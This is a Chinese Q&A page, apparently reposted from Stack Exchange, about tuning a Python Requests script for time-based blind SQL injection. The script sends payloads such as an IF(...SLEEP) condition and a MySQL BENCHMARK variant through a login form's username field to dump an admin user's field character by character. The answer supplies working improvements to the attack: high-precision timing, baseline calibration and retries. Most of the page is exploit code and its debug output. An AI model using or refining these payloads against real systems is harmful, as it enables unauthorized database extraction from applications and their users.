You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用Python Requests精准计算基于时间型SQL注入的请求耗时?

基于时间的SQL注入精准计时优化方案

问题背景

模拟SQLMap实现时间盲注时,目标字符触发SLEEP(5)后的实际耗时有时略低于5秒(如4.9秒),导致tempoTotal >= delay的匹配条件时而失效,无法稳定识别正确字符。

现有测试代码

import string
import time
import requests

resultado = ""
listaCaracteres = string.ascii_letters + string.digits + "._-@/"
delay = 5
tamanhoCampo = 30

for i in range(1, tamanhoCampo+1):
    caracterFound = False
    for caracter in listaCaracteres: 
        data = {
            "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#", 
            "password": "teste"
        }
                     
        startTime = time.time()
        try:
            resp = requests.post(url, headers=headers, cookies=cookies, data=data)
        except Exception as e:  # 修正原代码拼写错误:Exceptions → Exception
            print(e)

        endTime = time.time()
        
        tempoTotal = endTime - startTime
        print(f"[*] Pos. {i} {caracter} {tempoTotal}")
        if tempoTotal >= delay:
            print(f"[+] Caracter encontrado {caracter} {tempoTotal}")
            resultado += caracter
            caracterFound = True  # 修正原代码拼写错误:caracterEncontrado → caracterFound
            delay = 5
            break
    
    if not caracterFound:
        delay += 1
        print(f"[*] Caracter não encontrado, aumentando o tempo de resposta para {delay} segundos")
        

print(resultado)

调试结果

[*] 开始DUMP。
[*] 位置1 a 0.41757917404174805
[*] 位置1 b 0.42841196060180664
[*] 位置1 c 0.42807817459106445
[*] 位置1 d 1.420304536819458
[*] 位置1 e 0.4183344841003418
[*] 位置1 f 0.4205491542816162
[*] 位置1 g 0.41797685623168945
[*] 位置1 h 0.41671323776245117
[*] 位置1 i 0.41751718521118164
[*] 位置1 j 0.4145169258117676
[*] 位置1 k 0.4157712459564209
[*] 位置1 l 0.4163017272949219
[*] 位置1 m 0.41348886489868164
[*] 位置1 n 0.4273350238800049
[*] 位置1 o 0.42464113235473633
[*] 位置1 p 0.4265732765197754
[*] 位置1 q 0.4321424961090088
[*] 位置1 r 0.4281890392303467
[*] 位置1 s 0.41872739791870117
[*] 位置1 t 0.41807007789611816
[*] 位置1 u 4.920653581619263
[*] 位置1 v 0.41268229484558105
[*] 位置1 w 0.47426342964172363
[*] 位置1 x 0.4102909564971924
[*] 位置1 y 0.41750526428222656
[*] 位置1 z 0.41268014907836914
[*] 位置1 A 0.412386417388916
[*] 位置1 B 0.4086577892303467
[*] 位置1 C 0.41196632385253906

优化方案

1. 改用高精度计时函数

time.time()精度受系统时钟影响,改用time.perf_counter()——专门用于测量短时间间隔的高精度计时器,能减少计时误差:

startTime = time.perf_counter()
# ... 请求代码 ...
endTime = time.perf_counter()
tempoTotal = endTime - startTime

2. 计算基准请求耗时校准阈值

网络波动、服务器基础响应延迟是不可避免的,直接和delay对比不合理。先发送多次无SLEEP的请求,计算平均基准耗时base_time,再用tempoTotal >= base_time + delay * 0.8作为判断条件(0.8为容错系数,可根据实际调整):

# 提前计算基准耗时:发送5次无sleep的请求取平均
base_time = 0
test_data = {
    "username": "teste' OR 1=1#",
    "password": "teste"
}
for _ in range(5):
    start = time.perf_counter()
    requests.post(url, headers=headers, cookies=cookies, data=test_data)
    end = time.perf_counter()
    base_time += (end - start)
base_time /= 5
print(f"[*] 基准平均耗时:{base_time:.4f}秒")

# 修改判断条件
if tempoTotal >= base_time + delay * 0.8:

3. 增加重试机制避免单次波动误判

对接近阈值的请求进行重试,取平均耗时再判断,避免单次网络波动导致的误判:

def get_request_time(data):
    try:
        start = time.perf_counter()
        requests.post(url, headers=headers, cookies=cookies, data=data)
        end = time.perf_counter()
        return end - start
    except Exception as e:
        print(e)
        return 0

# 在字符循环中使用重试逻辑
for caracter in listaCaracteres: 
    data = {
        "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#", 
        "password": "teste"
    }
    # 首次请求
    tempoTotal = get_request_time(data)
    print(f"[*] Pos. {i} {caracter} {tempoTotal}")
    
    # 接近阈值则重试2次取平均
    threshold_low = base_time + delay * 0.7
    threshold_high = base_time + delay * 1.3
    if threshold_low <= tempoTotal <= threshold_high:
        print(f"[*] 重试Pos. {i} {caracter}")
        retry_times = 2
        total_time = tempoTotal
        for _ in range(retry_times):
            t = get_request_time(data)
            total_time += t
            print(f"[*] 重试结果:{t}")
        avg_time = total_time / (retry_times + 1)
        if avg_time >= base_time + delay * 0.8:
            print(f"[+] Caracter encontrado {caracter} 平均耗时{avg_time:.4f}")
            resultado += caracter
            caracterFound = True
            break
    elif tempoTotal >= base_time + delay * 0.8:
        print(f"[+] Caracter encontrado {caracter} {tempoTotal}")
        resultado += caracter
        caracterFound = True
        break

4. 调整延迟逻辑(可选)

部分数据库的SLEEP函数可能受调度影响,可尝试用更稳定的延迟方式,比如MySQL的BENCHMARK:

data = {
    "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',BENCHMARK(10000000,MD5('test')),1)#", 
    "password": "teste"
}

总结

通过高精度计时、基准耗时校准、重试机制这三个核心优化,能大幅提升时间盲注的稳定性,避免因网络波动或服务器调度导致的误判。

内容的提问来源于stack exchange,提问作者Shinomoto Asakura

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.21 06:12:06